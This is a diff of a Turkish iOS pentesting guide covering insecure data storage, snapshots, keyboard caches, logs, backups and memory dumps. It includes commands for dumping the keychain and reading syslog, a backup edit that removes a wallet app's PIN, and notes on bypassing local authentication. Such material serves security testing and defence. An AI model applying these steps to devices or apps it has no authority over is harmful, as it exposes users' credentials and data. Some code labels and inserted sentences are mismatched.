+Varsayılan olarak NSURLSession, **HTTP isteklerini ve yanıtlarını Cache.db** veritabanında saklar. Bu veritabanı, **token'lar, kullanıcı adları veya başka hassas bilgiler** önbelleğe alındıysa hassas veriler içerebilir. Önbelleğe alınan bilgileri bulmak için uygulamanın veri dizinine (`/var/mobile/Containers/Data/Application/`) gidin ve `/Library/Caches/` dizinine gidin. **WebKit önbelleği de Cache.db** dosyasında saklanmaktadır. **Objection**, bu veritabanıyla etkileşime girmek için `sqlite connect Cache.db` komutunu kullanabilir, çünkü bu **normal bir SQLite veritabanıdır**.
Bu verilerin **önbelleğe alınmasının devre dışı bırakılması önerilir**, çünkü istekte veya yanıtta hassas bilgiler içerebilir. Aşağıdaki liste, bunu başarmanın farklı yollarını göstermektedir:
-1. Oturum kapatıldıktan sonra önbelleğe alınan yanıtların kaldırılması önerilir. Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) adlı yöntemle bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
+1. Oturum kapatıldıktan sonra önbelleğe alınan yanıtların kaldırılması önerilir. Apple'ın sağladığı [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses) yöntemi ile bunu yapabilirsiniz. Bu yöntemi aşağıdaki gibi çağırabilirsiniz:
`URLCache.shared.removeAllCachedResponses()`
-Bu yöntem, Cache.db dosyasındaki tüm önbelleğe alınan istekleri ve yanıtları kaldıracaktır.
-2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir, bu da çerezleri ve önbelleği kaydetmeyi devre dışı bırakacaktır.
+Bu yöntem, Cache.db dosyasından tüm önbelleğe alınan istekleri ve yanıtları kaldıracaktır.
+2. Çerezlerin avantajından faydalanmanıza gerek yoksa, URLSession'ın [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) yapılandırma özelliğini kullanmanız önerilir, bu da çerezleri ve önbellekleri devre dışı bırakacaktır.
[Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
-`Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. varsayılan) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya diske herhangi bir oturumla ilgili veriyi depolamaz. Bunun yerine, oturumla ilgili veriler RAM'de depolanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.`
-3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) önbellek politikasına ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır.
+`Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. varsayılan) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya herhangi bir diskle ilgili oturum verilerini saklamaz. Bunun yerine, oturumla ilgili veriler RAM'de saklanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.`
+3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) Önbellek Politikası'na ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diskte herhangi bir şekilde saklanmasını devre dışı bırakacaktır.
### Anlık Görüntüler
-Ev düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha sorunsuz hale getirmek için kullanır. Ancak, eğer mevcut ekranda **hassas veriler** varsa, bu veriler **resimde saklanır** (bu, **yeniden başlatmalara karşın kalıcıdır**). Bu, uygulamalar arasında geçiş yapmak için ev ekranına çift dokunarak erişebileceğiniz anlık görüntülerdir.
+Ana ekran düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha sorunsuz hale getirmek için kullanır. Ancak, mevcut ekranda **hassas veriler** varsa, bu veriler **resimde saklanır** (bu, **yeniden başlatmalara karşın kalıcıdır**). Bu, uygulamalar arasında geçiş yapmak için ana ekranı çift dokunarak erişebileceğiniz anlık görüntülerdir.
-iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için **cihaza erişimi** **engellenmemiş** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
+iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için cihaza **erişime** **ihtiyacı** **vardır** ve cihazın **kilitli olmaması** gerekir. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
-Bu kötü davranışı önlemenin bir yolu, anlık görüntüyü almadan önce duyarlı verileri kaldırmak veya bir boş ekran kullanmaktır, bunu `ApplicationDidEnterBackground()` işlevini kullanarak yapabilirsiniz.
+Bu kötü davranışı önlemenin bir yolu, anlık görüntü almadan önce duyarlı verileri kaldırmak veya bir boş ekran eklemektir, bunu `ApplicationDidEnterBackground()` işlevini kullanarak yapabilirsiniz.
Aşağıdaki, varsayılan bir ekran görüntüsü ayarlayan örnek bir düzeltme yöntemidir.
@@ -569,6 +569,8 @@ backgroundImage?.removeFromSuperview()
}
```
**Objective-C:**
+
+Objective-C, Apple'ın geliştirdiği bir programlama dilidir ve iOS uygulamaları genellikle bu dil kullanılarak geliştirilir. Bu dil, iOS uygulamalarının iç yapısını anlamak ve güvenlik açıklarını tespit etmek için önemli bir bilgidir.
```
@property (UIImageView *)backgroundImage;
@@ -583,17 +585,17 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview];
}
```
-### Arka Plan Resmi Ayarı
+### Arka Plan Görüntüsü
-Uygulama arka planda çalıştığında `overlayImage.png` dosyasını arka plan resmi olarak ayarlar. Bu, `overlayImage.png` dosyasının her zaman mevcut görünümü geçersiz kılacağından hassas veri sızıntılarını önler.
+Uygulama arka plana alındığında arka plan görüntüsü `overlayImage.png` olarak ayarlanır. Bu, hassas veri sızıntılarını önler çünkü `overlayImage.png` her zaman mevcut görünümü geçersiz kılar.
-### Keychain
+### Anahtarlık
-iOS anahtar zincirine erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar.
+iOS anahtarlığına erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar.
#### **Kimlik Bilgilerini Saklama**
-**NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtar zincirine kaydetmek için idealdir ve NSUserDefaults veya diğer sarmallara gerek kalmadan kullanılır. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır:
+**NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtarlıkta saklamak için idealdir, NSUserDefaults veya diğer sarmalayıcılar gerekmeden. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@@ -608,30 +610,30 @@ iOS 8.0'dan itibaren kullanıcılar, **Ayarlar > Genel > Klavye > Klavyeler** al
**Güvenlik Önerileri:**
* Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
-* iOS'un varsayılan klavyesinin otomatik düzeltme ve otomatik öneriler özelliklerine dikkat edilmelidir, çünkü bu özellikler hassas bilgileri `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarına kaydedebilir. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** üzerinden klavye sözlüğünü sıfırlamak önerilir.
+* iOS'un varsayılan klavyesinin otomatik düzeltme ve otomatik öneriler özelliklerine dikkat edilmelidir, çünkü bu özellikler hassas bilgileri `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarına kaydedebilir. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** üzerinden klavye sözlüğünün sıfırlanması önerilir.
* Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir.
### **Metin Alanı Önbelleğini Önleme**
-[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için gerekli olan özellikleri sunar ve hassas bilgi önbelleğini önlemek için esastır. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir:
+[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için özellikler sunar ve hassas bilgi önbelleğini önlemek için esastır. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
-Ek olarak, geliştiriciler metin alanlarının, özellikle şifreler ve PIN'ler gibi hassas bilgilerin girildiği alanların önbelleğe alınmasını engellemek için `autocorrectionType`'ı `UITextAutocorrectionTypeNo` olarak ve `secureTextEntry`'i `YES` olarak ayarlayarak güvence altına almalıdır.
+Ek olarak, geliştiriciler, özellikle şifreler ve PIN'ler gibi hassas bilgilerin girildiği metin alanlarının önbelleğe alınmasını engellemek için `autocorrectionType`'ı `UITextAutocorrectionTypeNo` ve `secureTextEntry`'i `YES` olarak ayarlayarak güvence altına almalıdır.
```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **Kayıtlar**
-Hata ayıklama kodu genellikle **günlüğü kullanmayı** gerektirir. **Kayıtlar hassas bilgiler içerebileceğinden risk içerir**. Daha önce, iOS 6 ve önceki sürümlerinde, günlüklere tüm uygulamalar erişebiliyordu, bu da hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi günlüklerine erişebilirler**.
+Hata ayıklama kodu genellikle **günlüğü kullanmayı** içerir. **Kayıtlar hassas bilgiler içerebileceğinden risk içerir**. Daha önce, iOS 6 ve önceki sürümlerinde, günlükler tüm uygulamalara erişilebilirdi ve hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi günlüklerine erişebilirler**.
-Bu kısıtlamalara rağmen, **kilitli bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bu durumu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kalması önemlidir.
+Bu kısıtlamalara rağmen, **kilitli bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bu durumu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kaydedildiğini unutmamak önemlidir.
-Riskleri azaltmak için, uygulama ile **etkileşimi detaylı bir şekilde** incelemek, tüm işlevlerini ve girdilerini keşfetmek ve yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmak önerilir.
+Riskleri azaltmak için, uygulama ile **detaylı etkileşimde bulunmanız**, tüm işlevlerini ve girdilerini keşfetmeniz ve yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmanız önerilir.
-Potansiyel sızıntılar için uygulamanın kaynak kodunu inceleyerek, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` gibi yerleşik işlevler için **önceden tanımlanmış** ve özel günlükleme ifadeleri için `Logging` veya `Logfile` gibi anahtar kelimeleri arayın.
+Potansiyel sızıntılar için uygulamanın kaynak kodunu inceleyerek, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` gibi yerleşik işlevler için hem **önceden tanımlanmış** hem de **özel günlükleme ifadelerini** ve özel uygulamalar için `Logging` veya `Logfile` gibi anahtar kelimeleri arayın.
### **Sistem Kayıtlarını İzleme**
@@ -644,12 +646,12 @@ Ayrıca, **Xcode** konsol log'larını toplamanın bir yolunu sağlar:
1. Xcode'u açın.
2. iOS cihazını bağlayın.
-3. **Window** -> **Devices and Simulators**'e gidin.
+3. **Window** -> **Devices and Simulators**'a gidin.
4. Cihazınızı seçin.
5. Araştırdığınız sorunu tetikleyin.
6. Logları yeni bir pencerede görüntülemek için **Open Console** düğmesini kullanın.
-Daha gelişmiş loglama için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlayabilir.
+Daha gelişmiş loglama için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlamak mümkündür:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
@@ -657,7 +659,7 @@ Log aktivitelerini gözlemlemek için kullanılan komutlar, sorunları teşhis e
***
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\
@@ -675,13 +677,13 @@ Yedeklemelerde **kurulu uygulamalar ve verilerinin** bulunması, potansiyel **ve
### Yedeklemelerden Dosyaları Hariç Tutma
-`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini önlemek için önemlidir.
+`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, belirli dosyaları veya dizinleri `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini önlemek için hayati önem taşır.
### Zafiyetlerin Test Edilmesi
-Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği hassas veriler veya yapılandırmalar açısından analiz ederek uygulama davranışını etkileyebilecek değişiklikler yapılabilir.
+Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği, uygulama davranışını etkileyebilecek hassas verileri veya yapılandırmaları analiz edin.
-Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir.
+Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifrelenmiş yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir.
```xml
@@ -694,11 +696,13 @@ Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) g
...
```
-Şifrelenmiş yedeklemelerle uğraşmak için, [DinoSec'in GitHub deposundaki](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) Python betikleri, örneğin **backup\_tool.py** ve **backup\_passwd.py**, son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilecek olsa da yararlı olabilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek olan [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) bulunmaktadır.
+### Şifreli Yedeklemelerle İlgilenmek
-### Uygulama Davranışını Değiştirme
+Şifreli yedeklemelerle başa çıkmak için, [DinoSec'in GitHub deposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) bulunan Python betikleri, örneğin **backup\_tool.py** ve **backup\_passwd.py**, son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilecek olsa da yararlı olabilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek olan [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) bulunmaktadır.
-Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'inin **pin\_code** anahtarı altında `net.bither.plist` içinde saklandığı görülmektedir. Bu anahtarı plist'ten kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir.
+### Uygulama Davranışını Değiştirmek
+
+Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'in **pin\_code** anahtarı altında `net.bither.plist` içinde saklandığı görülmektedir. Bu anahtarı plist dosyasından kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir.
## Hassas Veriler İçin Bellek Testi Özeti
@@ -706,7 +710,7 @@ Bir uygulamanın belleğinde saklanan hassas bilgilerle uğraşırken, bu verile
## **Bir Bellek Dökümü Alıp Analiz Etmek**
-Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Bir kez döküldüğünde, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
+Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın bellek sürecini dökme imkanı sağlar. Bir kez döküldüğünde, bu verileri analiz etmek, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir:
```bash
@@ -737,13 +741,13 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kodda sabit/tah
### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı
-Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** işlemleri için. Bu algoritmaların bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuz ile birlikte kullanıldığı kaba kuvvet saldırılarına dayanıklı olmalıdır.
+Geliştiriciler, **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** için. Bu algoritmaların bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuzla birlikte kullanıldığı brute-force **dayanıklı** olmalıdır.
### Kontrol
-Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunmadığını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı türde **zayıf** **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır.
+Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunmadığını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı tür zayıf **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır.
-İlginç olan şudur ki, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak **izleyebilirsiniz**.
+İlginç olan şudur ki, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak izleyebilirsiniz:
```swift
ios monitor crypt
```
@@ -751,33 +755,33 @@ iOS şifreleme API'ları ve kütüphaneleri hakkında **daha fazla bilgi** için
## Yerel Kimlik Doğrulama
-**Yerel kimlik doğrulama**, özellikle uzaktaki bir uç noktaya şifreleme yöntemleri aracılığıyla erişimi koruma konusunda önemli bir rol oynar. Buradaki esas nokta, uygun şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabilir olabileceğidir.
+**Yerel kimlik doğrulama**, özellikle uzaktaki bir uç noktaya şifreleme yöntemleri aracılığıyla erişimi koruma konusunda önemli bir rol oynar. Buradaki esas nokta, uygun şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabileceğidir.
-Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırlı verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine kuruludur.
+Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırlı verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine kuruludur.
Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır:
* Yüksek seviyeli kullanıcı kimlik doğrulaması için **`LocalAuthentication.framework`**.
-* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile sırlı verileri güvence altına alır. Çeşitli [açık kaynaklı sarmallar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir.
+* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile gizli verileri güvence altına alır. Çeşitli [açık kaynaklı sargılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir.
{% hint style="danger" %}
-Ancak, hem `LocalAuthentication.framework` hem de `Security.framework`, genellikle kimlik doğrulama süreçleri için veri iletimi yapmadan öncelikle boolean değerler döndürdükleri için güvenlik açıkları sunarlar, bu da onları atlanabilir hale getirir (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
+Ancak, hem `LocalAuthentication.framework` hem de `Security.framework`, öncelikle kimlik doğrulama süreçleri için veri iletmeksizin genellikle boolean değerler döndürdükleri için atlanabilir güvenlik açıkları sunarlar (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
{% endhint %}
### Yerel Kimlik Doğrulaması Uygulamak
Kullanıcıları kimlik doğrulaması için yönlendirmek için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir, aşağıdakiler arasından seçim yaparak:
-* **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi istemek, ikisi de etkin değilse başarısız olur.
-* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Touch ID istemek.
+* **`deviceOwnerAuthentication`**: Touch ID veya cihaz şifresi için yönlendirme yapar, ikisi de etkin değilse başarısız olur.
+* **`deviceOwnerAuthenticationWithBiometrics`**: Yalnızca Touch ID için yönlendirme yapar.
-Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden gelen boolean bir değerle gösterilir, potansiyel bir güvenlik açığına işaret eder.
+Başarılı bir kimlik doğrulama, **`evaluatePolicy`** yönteminden dönen boolean bir değerle gösterilir, bu da potansiyel bir güvenlik açığına işaret eder.
### Anahtarlık Kullanarak Yerel Kimlik Doğrulaması
-iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi sırlı verileri güvenli bir şekilde saklamak için **anahtarlık API'ları** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulama kullanılarak erişilebileceğini sağlar.
+iOS uygulamalarında **yerel kimlik doğrulaması** uygulamak, kimlik doğrulama belgeleri gibi gizli verileri güvenli bir şekilde saklamak için **anahtarlık API'ları** kullanımını içerir. Bu süreç, verinin yalnızca kullanıcı tarafından, cihaz şifresi veya Touch ID gibi biyometrik kimlik doğrulaması kullanılarak erişilebileceğini sağlar.
-Anahtarlık, `SecAccessControl` özelliği ile öğeleri ayarlamayı sağlar, bu da kullanıcının Touch ID veya cihaz şifresi ile başarılı bir şekilde kimlik doğrulamasını yapana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir.
+Anahtarlık, `SecAccessControl` özniteliği ile öğeleri ayarlamak için yetenek sunar, bu da kullanıcının Touch ID veya cihaz şifresi aracılığıyla başarılı bir şekilde kimlik doğrulamasını yapana kadar öğeye erişimi kısıtlar. Bu özellik güvenliği artırmak için önemlidir.
Aşağıda, Swift ve Objective-C'de bir dizeyi anahtarlığa kaydetme ve geri almayı gösteren kod örnekleri bulunmaktadır, bu güvenlik özelliklerini kullanarak erişim kontrolünü ayarlamayı ve verinin yalnızca ayarlandığı cihazda, bir cihaz şifresinin yapılandırıldığı koşul altında erişilebilir olmasını sağlamayı özellikle göstermektedir.
@@ -827,22 +831,25 @@ if status == noErr {
Bu bölümde, iOS uygulamalarını pentest etmek için kullanılabilecek bazı temel teknikler ve araçlar hakkında bilgi bulabilirsiniz.
-#### Araçlar
+#### Araştırma ve Analiz
-- **MobSF**: Otomatik olarak iOS uygulamalarını analiz etmek için kullanılan açık kaynaklı bir mobil güvenlik çerçevesi.
-- **Needle**: iOS uygulamalarını test etmek için kullanılan bir framework.
-- **Cycript**: iOS uygulamalarını canlı olarak analiz etmek için kullanılan bir araç.
-- **Clutch**: iOS uygulamalarını kırıp çıkarmak için kullanılan bir araç.
-- **Frida**: Dinamik olarak iOS uygulamalarını manipüle etmek için kullanılan bir araç.
+- **Uygulama İncelemesi**: Uygulamanın işlevselliğini ve güvenlik zafiyetlerini anlamak için uygulamanın kodunu inceleyin.
+- **Trafik Analizi**: Uygulamanın ağ trafiğini izleyerek, iletişimdeki güvenlik açıklarını tespit edin.
+- **Veritabanı İncelemesi**: Uygulamanın yerel veritabanını inceleyerek, hassas verilerin nasıl saklandığını anlayın.
-#### Temel Teknikler
+#### Sızma Testi Teknikleri
-- **Tersine Mühendislik**: Uygulamanın çalışma mantığını anlamak için kullanılır.
-- **Veri Depolama Analizi**: Uygulamanın yerel olarak depoladığı hassas verileri bulmak için kullanılır.
-- **Ağ Trafik Analizi**: Uygulamanın ağ trafiğini izleyerek hassas verilerin nasıl iletilip alındığını anlamak için kullanılır.
-- **Güvenlik Zafiyetleri Analizi**: Uygulamada yaygın güvenlik zafiyetlerini araştırmak için kullanılır.
+- **Tersine Mühendislik**: Uygulamanın çalışma mantığını anlamak için tersine mühendislik tekniklerini kullanın.
+- **Kötü Amaçlı Kod Enjeksiyonu**: Uygulamaya kötü niyetli kod enjekte ederek güvenlik açıklarını tespit edin.
+- **Kimlik Doğrulama Zafiyetleri**: Uygulamanın kimlik doğrulama süreçlerini test ederek, zayıf noktaları belirleyin.
-Bu temel teknikler ve araçlar, iOS uygulamalarını pentest etmek için başlangıç noktanız olabilir. Daha fazla bilgi edinmek ve becerilerinizi geliştirmek için pratik yapmayı unutmayın!
+#### Araçlar ve Platformlar
+
+- **Cycript**: Canlı iOS uygulamalarını analiz etmek ve değişiklikler yapmak için kullanılan bir araç.
+- **MobSF**: Mobil uygulamaları statik olarak analiz etmek için kullanılan açık kaynaklı bir platform.
+- **Burp Suite**: Uygulamanın ağ trafiğini izlemek ve düzenlemek için kullanılan popüler bir araç.
+
+Bu teknikler ve araçlar, iOS uygulamalarının güvenlik açıklarını tespit etmek ve gidermek için kullanılabilir.
{% endtab %}
```objectivec
@@ -900,36 +907,7 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
```
{% endtab %}
-{% tab title="Objective-C" %}
-
-## Objective-C
-
